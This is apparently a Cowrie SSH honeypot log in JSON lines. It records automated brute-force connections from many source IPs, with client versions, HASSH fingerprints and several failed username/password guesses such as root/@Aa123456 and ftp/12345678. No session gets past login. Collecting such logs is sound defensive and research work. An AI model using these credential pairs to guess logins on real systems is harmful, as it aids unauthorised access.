{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:48.824617Z","src_ip":"196.92.7.246","session":"d83c52ae351e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:49.952393Z","src_ip":"196.92.7.246","session":"d83c52ae351e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58016,"dst_ip":"159.203.135.109","dst_port":22,"session":"25a483ea7f9c","protocol":"ssh","message":"New connection: 103.27.238.114:58016 (159.203.135.109:22) [session: 25a483ea7f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:16.454588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:16.473686Z","src_ip":"103.27.238.114","session":"25a483ea7f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:16.768301Z","src_ip":"103.27.238.114","session":"25a483ea7f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sommer","message":"login attempt [root/sommer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:17.609727Z","src_ip":"103.27.238.114","session":"25a483ea7f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:18.893580Z","src_ip":"103.27.238.114","session":"25a483ea7f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":40330,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa01138d7e1f","protocol":"ssh","message":"New connection: 121.168.139.251:40330 (159.203.135.109:22) [session: fa01138d7e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:21.396524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:21.402104Z","src_ip":"121.168.139.251","session":"fa01138d7e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:21.608751Z","src_ip":"121.168.139.251","session":"fa01138d7e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:22.453361Z","src_ip":"121.168.139.251","session":"fa01138d7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:23.661669Z","src_ip":"121.168.139.251","session":"fa01138d7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":49746,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fc932bb4486","protocol":"ssh","message":"New connection: 103.107.60.45:49746 (159.203.135.109:22) [session: 8fc932bb4486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:28.695689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:28.706681Z","src_ip":"103.107.60.45","session":"8fc932bb4486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:28.924517Z","src_ip":"103.107.60.45","session":"8fc932bb4486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":39650,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc1ac58e8183","protocol":"ssh","message":"New connection: 20.203.42.204:39650 (159.203.135.109:22) [session: cc1ac58e8183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:29.208191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:29.213390Z","src_ip":"20.203.42.204","session":"cc1ac58e8183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:29.396804Z","src_ip":"20.203.42.204","session":"cc1ac58e8183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:29.820954Z","src_ip":"103.107.60.45","session":"8fc932bb4486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Aa123456","message":"login attempt [root/@Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:30.243883Z","src_ip":"20.203.42.204","session":"cc1ac58e8183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:31.038624Z","src_ip":"103.107.60.45","session":"8fc932bb4486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:31.430219Z","src_ip":"20.203.42.204","session":"cc1ac58e8183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":40272,"dst_ip":"159.203.135.109","dst_port":22,"session":"57e3a914ab16","protocol":"ssh","message":"New connection: 156.38.73.89:40272 (159.203.135.109:22) [session: 57e3a914ab16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:37.467348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:37.472252Z","src_ip":"156.38.73.89","session":"57e3a914ab16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:37.679663Z","src_ip":"156.38.73.89","session":"57e3a914ab16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:38.543490Z","src_ip":"156.38.73.89","session":"57e3a914ab16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:39.751707Z","src_ip":"156.38.73.89","session":"57e3a914ab16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":49590,"dst_ip":"159.203.135.109","dst_port":22,"session":"7977a146bec2","protocol":"ssh","message":"New connection: 122.176.122.24:49590 (159.203.135.109:22) [session: 7977a146bec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:40.979090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:40.984461Z","src_ip":"122.176.122.24","session":"7977a146bec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:41.258297Z","src_ip":"122.176.122.24","session":"7977a146bec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:42.380841Z","src_ip":"122.176.122.24","session":"7977a146bec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:43.660724Z","src_ip":"122.176.122.24","session":"7977a146bec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":58670,"dst_ip":"159.203.135.109","dst_port":22,"session":"743fa48846d1","protocol":"ssh","message":"New connection: 94.159.110.201:58670 (159.203.135.109:22) [session: 743fa48846d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:51.361907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:51.366815Z","src_ip":"94.159.110.201","session":"743fa48846d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:51.484410Z","src_ip":"94.159.110.201","session":"743fa48846d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199919991999","message":"login attempt [root/199919991999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:51.836329Z","src_ip":"94.159.110.201","session":"743fa48846d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":48212,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e80b537caf","protocol":"ssh","message":"New connection: 31.59.89.180:48212 (159.203.135.109:22) [session: 22e80b537caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:52.656094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:52.661237Z","src_ip":"31.59.89.180","session":"22e80b537caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:52.768801Z","src_ip":"31.59.89.180","session":"22e80b537caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:52.965608Z","src_ip":"94.159.110.201","session":"743fa48846d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"silva","password":"12345","message":"login attempt [silva/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:53.229831Z","src_ip":"31.59.89.180","session":"22e80b537caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:00:54.341138Z","src_ip":"31.59.89.180","session":"22e80b537caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":54482,"dst_ip":"159.203.135.109","dst_port":22,"session":"72f1fcc383da","protocol":"ssh","message":"New connection: 20.87.219.67:54482 (159.203.135.109:22) [session: 72f1fcc383da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:02.527549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:02.532551Z","src_ip":"20.87.219.67","session":"72f1fcc383da","protocol":"ssh"}
